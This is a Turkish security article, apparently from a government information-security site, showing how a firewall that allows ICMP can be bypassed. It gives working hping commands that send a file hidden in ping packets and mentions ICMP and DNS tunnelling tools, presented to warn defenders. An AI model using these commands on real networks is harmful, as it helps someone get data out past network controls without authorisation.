spacer.png, 0 kB
Bilgi için: bilgi at bilgiguvenligi gov tr   

 

spacer.png, 0 kB
spacer.png, 0 kB
PING ile Port'suz Dosya Transferi Yaparak Firewall Aşmak Yazdır E-posta
Gökhan Muharremoğlu, PwC   
13.12.2011

Bir sistemin açıklarını bulabilmek için öncelikle o sistemin nasıl çalıştığına dair bilgi edinmek gerekir. Daha sonra sistemde açık arayan kişi, edindiği bu bilgiyi sahip olduğu temel bilgilerle korelasyona sokmalıdır. Temel bilgiler, söz konusu bilişim ve bilgisayar dünyasının teknik altyapısı olduğunda; ağ bilgisi, yazılım bilgisi, sistem bilgisi, güvenlik bilgisi,  donanım bilgisi gibi konuları içermektedir.  Bir Güvenlik Duvarı(Firewall) üzerinde tanımlı olan kuralları aşmak için genel geçerden uzak bir yöntem arayan kişi önce bu Firewall’a ait yapıyı yapacağı testlerle incelemeli, daha sonra kendisinin sahip olduğu diğer bilgilerle konuyu mercek altına almalıdır.

Firewall kuralları tanımlanırken en önemli güvenlik ilkesi aşırı yetkilendirmeden kaçınmaktır. Hem dışardan içeriye doğru olan hem de içeriden dışarıya doğru olan trafiğin, minimum yetkilerle, mümkün olduğunca  “any” kuralı kullanmadan, sadece gerekli olan Protokol ve Port’lar  için tanımlanması temel güvenlik anlayışının odağıdır. Bu ilkelere uyarken göze çok masum görünen ICMP protokol trafiği genelde göz ardı edilir. Esas odaklanılan nokta her zaman Port’lar ve diğer Protokol’ler olur. Ancak, bir güvenlik ilkesi uygulanırken istisna gözetmemek, gözetilirse de bu istisnaları da bir risk olarak değerlendirmek gerekir.

Eğer  ICMP trafiğini açmak bir risk ise bu riskin nasıl bir tehdit ile hayata geçebileceğini de bilmek gerekir. Öncelikle ilk akılda olması gereken, Firewall üzerinde içerden dışarı, dışardan içeriye açık olan ICMP mesajlarının yerel ağda ve/veya İnternet’te ICMP üzerinde hizmet veren servisleri ifşa edeceğidir. Bunlara  en ünlü örnekler PING (Echo & Echo Reply) ve TRACEROUTE ICMP mesaj tipleridir.

ICMP mesaj tipleri şu şekilde listelenebilir:

  • Type 0 — Echo Reply
  • Type 1 — Unassigned
  • Type 2 — Unassigned
  • Type 3 — Destination Unreachable
  • Type 4 — Source Quench
  • Type 5 — Redirect
  • Type 6 — Alternate Host Address
  • Type 7 — Unassigned
  • Type 8 — Echo
  • Type 9 — Router Advertisement
  • Type 10 — Router Selection
  • Type 11 — Time Exceeded
  • Type 12 — Parameter Problem
  • Type 13 — Timestamp
  • Type 14 — Timestamp Reply
  • Type 15 — Information Request
  • Type 16 — Information Reply
  • Type 17 — Address Mask Request
  • Type 18 — Address Mask Reply
  • Type 19 — Reserved (for Security)
  • Types 20-29 — Reserved (for Robustness Experiment)
  • Type 30 — Traceroute
  • Type 31 — Datagram Conversion Error
  • Type 32 — Mobile Host Redirect
  • Type 33 — IPv6 Where-Are-You
  • Type 34 — IPv6 I-Am-Here
  • Type 35 — Mobile Registration Request
  • Type 36 — Mobile Registration Reply
  • Type 39 — SKIP
  • Type 40 — Photuris
  • Types 41-252 — Unassigned
  • Type 253 — RFC3692-style Experiment 1
  • Type 254 — RFC3692-style Experiment 2

Bir sistemin canlı olup olmadığını anlamak için Echo & Echo Reply ICMP mesajları kullanılır. Günümüzde bu mesajlardan bahsedilirken bu mesajları oluşturmak için kullanılan komutun adı, yani PING kelimesi kullanılır. PING ile gönderilen mesajların geçişine izin verildiği ağlarda canlı olan sistemleri bulmak çok kolay hale gelir. Güvenlikte amaç bir saldırganın işini zorlaştırırken bunu kullanılabilirlikten az fedada bulunarak yapmak ise, ICMP trafiğinin dolayısı ile PING ile yollanan Echo mesajlarının da kapatılması önerilebilir.

PING (ICMP Echo) mesaj paketlerinin bir ağ dinleme programı olan Wireshark ile görüntüsü şu şekildedir:

ping-sekil-1.jpg
Şekil-1 Google DNS Sunucusuna (8.8.8.8) PING ile Echo isteği (ping) yollanması
ping-sekil-2.jpg
Şekil-2 Giden Echo paketi
ping-sekil-3.jpg
Şekil-3 Gelen cevap

Şekil-1’de 8.8.8.8 adresinin 32 Bayt veri ile yoklandığından bahsediliyor. Ağ dinlendiği zaman bunu doğrulamak ve içeriği görmek mümkün olabilmektedir.

ping-sekil-4.jpg
Şekil-4 32 Bayt veri

Şekil-4’e bakıldığında 32 Bayt verinin sadece (abcdef...) harflerinden oluştuğu görülmektedir. Bu veri Windows’un PING komutu tarafından ilgili paketin veri kısmına yerleştirilmiştir. Herhangi bir özel kullanım amacı yoktur. Aynı isteği daha fazla Bayt ile de yollamak mümkündür.

ping-sekil-5.jpg
Şekil-5 64  Bayt veri
ping-sekil-6.jpg
Şekil-6 Giden veri içeriği

Şekil-6’da Giden verinin içeriğinin tekrarlı harf dizilerinden oluştuğu görülebilmektedir.

Verilen örneklerde bir amaç uğruna kullanılmayan veri içeriğini bir amaç uğruna kullanmak mümkündür. Örneklerde gösterilen verinin yerine bir dosyaya ait veri parçaları yerleştirerek karşı tarafa iletebilmek mümkün olacaktır. ICMP mesajlarının ulaştığı karşı tarafta, her giden paketin içi açılıp, bu veriler ayıklanarak birbiri ile birleştirildiğinde bir dosya oluşturabilir. Bu durumda, Firewall arkasında her yöne bütün Protokol ve Port’ların kapalı olduğu ancak ICMP mesajlarının açık olduğu bir sistemde dışarıya veri yollamak ve dışarıdan veri almak mümkün olacaktır.

 

ping-sekil-7.jpg
Şekil-7 Örnek bir ağ topolojisi

Verilen ağ topolojisinde GOKHAN-PC olarak tanımlanmış Node’dan SUNUCU olarak tanımlanmış Node’a  ICMP mesajları ile dosya transfer edilebilir. Ağa yollanan paketleri manipüle etmeye yarayan bir araç (HPING) bir dosyanın karşıya transfer edilmesine yardımcı olacaktır.

ping-8-9.jpg
Şekil-8 PC ve sunucu 

GOKHAN-PC tarafında bulunan 69 Bayt'lık “dosya.txt” dosyasının sunucu tarafına aktarılması için kullanılacak komutlar aşağıda sıralanmıştır.

SUNUCU tarafında ICMP mesajlarını dinleyecek komut:

Hping2 GOKHAN-PC_IP_Adresi  --listen imza --icmp  -I eth0 > alinan_dosya.txt

ping-sekil-10.jpg
Şekil-9 SUNUCU tarafında ICMP mesajlarını dinleyecek komut

Dosyayı yollayacak Node (GOKHAN-PC ) tarafında kullanılması gereken komut:

Hping3 SUNUCU_IP_Adresi --icmp -d 73 --sign imza  --file dosya.txt   -c 1 –I eth0

ping-sekil-11.jpg
Şekil-10 Dosyayı yollayacak Node (GOKHAN-PC ) tarafında kullanılması gereken komut

Burada bazı parametrelerden bahsetmek yerinde olacaktır.

  • --icmp: Gönderilen paketin cinsi (Protokol)

  • -d: Paketin başlık bilgisi dışında kalan veri boyutu

  • --sign: Capture işlemi için tetikleyici kelime

  • --file: Dosya

  • --fast: Transfer hızı için takma ad

  • -c: Paket sayısı

  • -I: Bağdaştırıcı

  • --listen: Dinleme modu

Paketler yollanırken her paket için “imza” nedeniyle 4 Byte veri kaybolmaktadır. 69 Bayt’lık bir dosyayı doğru ulaştırmak için 73 Bayt veri paketi yollamak gerekmektedir. Yoğun ağlarda paketlerin ulaştığından emin olmak için “--safe” parametresi kullanılabilir. Listen mode için Hping2 önerilir.

Yollanacak paket boyutunu kestirmek için şu formülden yararlanılabilir:

Dosya Boyutu[file] = (Paket Boyutu[d] – İmza Boyutu [sign]) X (Paket Sayısı [c])

Örnekteki dosya için bu denklem: 69 = (73-4) X 1 olmuştur.

ping-12-13.jpg
Şekil-11 SUNUCU tarafındaki alınan dosya
ping-sekil-14.jpg
Şekil-12 Gönderilen paket içeriği

ICMP Mesajları ile dosya yollanabildiği gibi bu mesajlar ile tünelleme de yapılabilmektedir. Linux ortamında çalışan “ptunnel” isimli bir uygulama ICMP mesajları ile uzak sunucudaki bir Port’u, localhost altında bulunan başka bir Port’a yönlendirmek için kullanılmaktadır.

ICMP mesajları hakkında verilen bu bilgiler ışığında çoğu zaman göz ardı edilen ve en zararsız, masum protokollerden sayılan ICMP’nin yeri geldiğinde bütün güvenlik anlayışını tersine çevirebileceği görülmektedir. Firewall üzerinde dışarıya doğru açık bırakılan bir kapının olması, bütün pencerelerin de kapandığı anlamına gelmemektedir. Sadece DNS UDP 53 Port’u ile dışarıdan sorgu alan yinelemeli bir iç DNS sunucusu, DNS tünelleme ile sömürülerek İnternet üzerindeki başka bir sunucudan aldığı veriler aracılığıyla Firewall aşılarak İnternet’e çıkış yapmak mümkün olabilmektedir. Birçok tünelleme yöntemi Firewall aşmada önemli bir araçtır. Ancak bu tünelleme yöntemlerinden en etkilisi hiçbir Port’a ihtiyaç duymayan ICMP tünellemedir.

Güvenlik ile ilgili kararlar alınırken, teknik olarak yapılabilecekler konusunda, konusuna hakim kişilerin görüşlerinin de alınması önerilmektedir. Günümüzde çok kolay gibi gözüken ve ilgileneni çok bulunan Firewall kuralı yazmak konusunda dahi bilinmeyen çok detayın olduğu buradaki örneklerle gözler önüne serilmiştir.

Referanslar

[2] Hping - Paket Crafting Yazılımı HPING: http://www.hping.org

[3] Daniel Stodle - ICMP Tünelleme: http://www.cs.uit.no/~daniels/PingTunnel/

[4] RFC ICMP - ICMP Hakkında Genel Bilgi: http://www.faqs.org/rfcs/rfc792.html


Favori olarak ekle (0) | Görüntüleme sayısı: 65992

Yorumlar (4)
1. 04-03-2013 17:05
 
eline sağlık çok güzel olmuş
 
murat altunok
2. 22-03-2012 17:28
 
Güzel bi konuyu değinmişsin,Bilgi için teşekkürler.
 
Mustafa Arı
3. 14-12-2011 14:17
 
Yorumunuz için çok teşekkür ederim. 
 
Örnek olarak linkte verdiğiniz makale çok sevdiğim ve beraber uzun zamanlar boyunca beyin fırtınası yaptığım bir dosta ait. Benzer zaman dilimlerinde benzer yazıları habersiz yazmamız güzel bir tesadüf olmuş. 
 
IP blur olayına gelirsek, kullanılan statik IP adreslerini ifşa etmemek amaçlı. Ağ haritasında görüldüğü üzere İnternet bulutu üzerinden veri yollanmakta. Aynı veriyi İntranet'te alt ağlar arasında yollamak da mümkün elbet.
 
Gökhan Muharremoğlu
4. 14-12-2011 03:31
 
Buna cok benzeyen bir yaziyi http://webguvenligi.org/docs/ICMPDeyipGecmeyin.pdf burada okumustum. Kapsam olarak konu guzel secilmis bence. Ancak bir sorum var, bu yazida kullanilan resimlerdeki IP kisimlari nicin blur yapilmis? merak ettim.
 
Engür Pişirici

Sadece kayıtlı kullanıcılar yorum yazabilir.
Lütfen sisteme giriş yapın veya kayıt olun.

 
spacer.png, 0 kB
spacer.png, 0 kB
Copyright 2014 TÜBİTAK-BİLGEM. Sitenin teknik altyapısında Joomla kullanılmıştır. Yazar ve site referans gösterilmeden alıntı yapılamaz. Görüşleriniz
spacer.png, 0 kB